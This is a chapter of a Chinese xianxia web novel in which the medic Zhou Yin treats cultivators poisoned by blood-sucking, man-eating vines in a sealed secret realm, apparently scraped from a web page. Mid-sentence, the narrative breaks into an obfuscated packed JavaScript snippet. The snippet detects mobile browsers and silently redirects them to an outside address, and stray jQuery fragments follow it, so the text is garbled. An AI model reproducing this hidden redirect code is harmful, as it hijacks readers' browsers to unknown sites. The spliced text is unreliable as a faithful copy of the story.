23. 吸血藤

作品:《师妹门前耍大刀

    “秘境里出现了奇怪的东西,出去的通道三日前彻底消失,也联系不上外面。”温凛面色严肃,神色中浮起淡淡的疲惫。


    周隐意识到事情的严重,立刻接上思路:“奇怪的东西?”


    “一些植物开始主动攻击人。起先是我们宗里的师弟中了招,开始以为是碰到带刺的毒草,只吃了点解毒的丹药。半夜里突然发作起来,全身麻痹动呕吐不止,身体极速衰弱。”


    他们本以为是个例,青琅却在此时接到了求助,秘境内还有其他人也出现相同类症状。


    “我们联合了其他几个宗门,将伤者聚集,发现不少人都遭到了植物的突然袭击。最初它们还会伪装,以细藤的形式在背后悄悄伤人。这两日变本加厉,竟然当面直接将人卷走拖至根系中心绞杀,再将人吸收当成养料。”


    青琅此次没带医修,只能将其他宗门学过医术的召集到一块,仔细一查才发现中招的几人身上都有流血的伤口,但植物汁液中含有麻痹神经的成分,许多人根本没有察觉。


    “青琅立刻向外求援,师姐带了批药王谷的医师来支援,但进入秘境后便断了消息。”


    随后他们就遇到了吃人的巨藤,伤者众多,能行动自如的看顾不及,好几个无法行动的修士被卷进藤中当场身亡。


    其间也有修士尝试救人,但那藤蔓不知为何无视刀剑等法器的伤害,最终还是金丹法修温凛出手击中了怪藤,给他们争取到了几秒撤退的时间。


    温凛当机立断要带着伤者先出去,随后便发现外出的通道凭空消失了,连风云鉴也无法沟通。


    周隐的脸色随着他的描述愈发沉重。


    听温凛的描述有点像传说中的吸血藤,但吸血藤只靠少量吸食人血为生,没有过像这样直接杀人的先例。


    那到底是个什么东西。


    若只有一个集中高阶修士力量尚且能够勉强对付,但若秘境中不止一个……


    “我记得,师妹你是医修?”温凛还记得最初在客栈里周隐那身打扮,“能不能跟我们一起回去搭把手。”


    温凛没问陆常昀,周隐便知他多半已经看穿了先前自己那番解释。二人心照不宣皆没再提起。


    周隐没有犹豫立刻点头答应,回头却见霍沉焕站在原地,目不转睛盯着远处的丛林,连强烈的日光照在眼睛上也不觉得刺眼。


    她悄悄扯了扯他的衣袖,示意对方跟上。


    霍沉焕收回视线,一言不发跟在周隐身后。


    远处阴影里,有什么动了动,满地枯叶发出沙沙脆响,复又归于沉寂。


    青琅选的地方相当隐蔽,几人来回拐了好几道,才找到入口。


    山洞内聚集了不少修士,有些已经简单处理过包上了纱布,有些则袒露着伤口。除了青琅几人还有其他七八个门派的弟子服,人人都精神紧绷。


    只有两三个医修打扮的来回穿梭,身上的弟子服周隐分辨不出。


    “这位是漠海的医修师妹,正好在外面碰到了就来帮忙。”温凛站在中心向众人介绍,立刻就有人举起手臂想让周隐帮忙看看。


    几个医修来回忙碌,许多人都在等着,何况漠海的名号够响亮,总有些大宗门出来的弟子是比寻常人优秀的刻板印象。


    周隐挨个看了几人面色,心里按严重程度排了问诊顺序。


    “还没问过,师妹是漠海哪位长老门下?”温凛并未离开,而是就近找了个干净的木桩坐在不远处。


    “那还用问,漠海医道出名的不就是洛长老。”男修熟练地将衣袖挽到肩膀,用牙咬住衣带利落打了个结,同时嘴也没闲着,“若不是亲传,外门也有许多小有名气的教习,学成治我这点小伤也够了,师妹别紧张。”


    “哦,我师尊是裴君。”周隐没接他悬在半空的手,慢吞吞道。


    “哪位裴君啊?”他利落躺下,板板正正做好了准备。


    “漠海哪还有第二位能被称为裴君的长老。”温凛突然出声接过话头。


    “原来是剑尊。”男修正准备闭上眼接受周隐动手,闻言立刻睁大眼,鲤鱼打挺又坐起。“剑尊裴君?”


    “嗯,剑尊。”周隐面上不动,心里却有些惊奇,这么大的动作牵动伤口不疼吗。


    他迅速抽回胳膊,疯狂朝在他身边陪着的师兄使眼色。


    “那个……漠海师妹啊,咱要是不行还是别治了。这隔行如隔山,万一再给我师弟治坏了……”师兄看懂他意思,皱着眉头唱黑脸。


    “不治也行,让他等死,面色发黑毒已入骨缝,今晚便能收尸。”周隐抬起眼皮,冷冷扫过他一眼。


    “就算你是大宗门的也不能如此乱来。”对方仍在叫嚣,显然是觉得师弟精神尚好,她定在胡言乱语。


    旁边倚着石背正闭目养神的女修闻言立刻冷笑一声:“愿意救你们一命已是抬举,谁给你的资格在这里挑刺。”


    另有一年轻剑修以剑支地斜倚石壁开口帮腔:“方才便对着其他大夫挑挑拣拣,看见大宗门来的边立刻两眼放光往前扑,现在又对人家择道指手画脚。若不是这位大夫看你中毒最深哪里轮的到你。”


    “放肆,我们师弟是扶风山庄掌门独子,不是你们这种散修能比的。剑尊是厉害,可她也只是精于剑道,谁知道弟子医术如何,万一给我师弟治坏了谁担这责任。”师兄弟二人涨红了脸,还在试图辩驳。


    周隐转身面无表情左手扯下医牌拍到那男修胸口,右手抓住他胳膊一掰,扯了根藤条把两片木板上下固定:“有证。”


    男修被飞来的木牌正中脑门,抬眼就见药王谷三字,师兄弟二人对视一眼,同时乐开了花。


    他乐呵着抓紧医牌立马又躺下,仰面朝天闭上眼睛声音里都带了点笑意:“师妹你随便来,想咋治都行。”


    温凛在一旁笑得开怀,被周隐瞪了一眼。


    “不愧是师妹啊,这一下……”男修刚想恭维两句,周隐下手利落卸掉他整条手臂,用刚向温凛借来的刀直接将伤口处的腐肉剔除。


    男修瞬间发出凄厉的惨叫,先前说话的剑修眼疾手快将一块破布塞入他口中:“小声点,万一把那鬼东西招来可就麻烦了。”


    他师兄在旁边急得跳脚,恨不得破口大骂又看着周隐背后正等待的一群人阴沉的眼神,将几乎脱口而出的抱怨咽回去。


    周隐动作行云流水,没多久就将腐肉全部剔除,又向另外几位医修借来些草药,捣碎后直接敷在伤口处,直接让他一旁吹胡子瞪眼的师兄包扎。


    “你是不是故意的……”眼见周隐离去后居然升起火堆煮草药,对着其他人望闻问切格外耐心,被周隐一套动作下来疼得快要晕倒的扶风山庄少爷爬起来就要质问。


    周隐用魂火灼烧着刀柄烧尽残余的毒血,连头都没回:“你的症状最严重,不快点处理就要死了。他们还等得起。”


    周围有人窃笑,对着他们师兄弟二人指指点点。


    “那你……”他气急败坏又要抱怨周隐下手太重。


    “账单晚点开给你,回头差人送到漠海就行。”周隐打


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17158277|196458||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    断他,目光落在他脚边,“药王谷的规矩,加急收两倍诊金。”


    霍沉焕见状弯腰将地上先前用剩下的草药拢起,挑拣出较为完整的部分,拂去灰尘收在地上干净的备用碎布中递给她。


    周隐赞许地看着他,她刚来时便寻问了原本驻守的几位医修,他们随身带的草药也几乎要用尽,今时不同往日,可得省着点用。


    先前她们预估的不错,就算再省着用,止血的药材也只快见底。


    她看着不远处安静排队等待的众人,对温凛摇了摇头。


    温凛会意。


    二人行至山洞偏僻一角,周隐来时还是正午左右艳阳高照,此刻却落日西沉,天色将晚:“我乾坤袋不在身边,随身的药物不对症解决不了问题,止血草药也快用尽了,需提前做好准备。”


    温凛沉吟片刻,眼底已经有些血丝:“秘境里应该还有可用的草药,你们商量一下需要哪些,详细写给我,明日我会带一队人去继续寻找落单的修士,沿途给你们带回来。”


    “先前说你师姐带着药王谷的医修进来了,若是能找到他们就好办了。”周隐忧心忡忡,秘境出口如今不知落在何处,暗处又危机四伏,想保全一众自保能力较弱的医修着实得耗费些心力。


    况且伤者众多,温凛每日带回来的病人数量只多不少,甚至有些跟随他出门的修士出门时还活蹦乱跳,回来后便再无声息。


    周隐想着,若是能找到药王谷的人,说不定能多条生路。


    “周大夫,明日我们跟温道友一起去给你采药。”周隐动作快,毒根除的干净,有几位症状较轻的修士能下地做些简单的动作,她们听到周隐和温凛在暗处的谈话,有心加入。


    “目前看来那怪物喜血肉,你们伤口未愈,去了反而可能会因血腥气暴露,先养伤吧。”周隐目光越过温凛身后,看向互相搀扶的几人,声音也软下来。


    “你们若还有精力,轮流值守便可,现下能够集结出门的人足够,不用担心。”


    自周隐在秘境里见到他,温凛的折扇就再也没打开过。


    温凛望向角落里躺着的几位青琅同门,魏惑也在其间昏迷不醒,郑重道:“替我照顾好他们。”


    周隐点点头,霍沉焕在不远处等着她。


    他今日简单学了些伤口的处理,给周隐打下手。为此他撕了不少袖口和衣角的布料,现下一身衣裳这少一块那缺一角,颇为滑稽。


    但他神色总是从容,站在那里总有些温润公子的模样。他见周隐盯着他,以为自己身上沾了什么东西,左右拍拍衣裳又伸手擦了遍脸。


    “出去得赔你身衣裳。”周隐着拉过他,在他身上四处打量,成功把自己逗笑。


    “说起来,明明说要带你出来看天地广阔,结果一出来就遇到了这些。”她仰起头,总觉得自己相当无情,虽说当初把人骗出来也是想在他背后的势力赶尽杀绝时能有个挡箭牌,但毕竟是自己的答应的事,理应做到。


    “一样的。”霍沉焕又看见周隐那个眼神,嘴里说着软话,眼神里却是坚定的无悔,“现在看到的也是天地。”


    他的眼神向下挪到周隐腰间别着的匕首,那是她向温凛借来的。他眯起眼,眼神暗了暗。


    近几日紧绷的神经难道放松片刻,二人又回到原位替排队等候的人诊治。


    一尾黑色的灵蛇无声无息滑入山洞门口的草丛,隐匿其中。


    周隐无端后颈发凉,她总觉得自从暴露自己是裴君弟子后,就有道眼神一直跟随着她。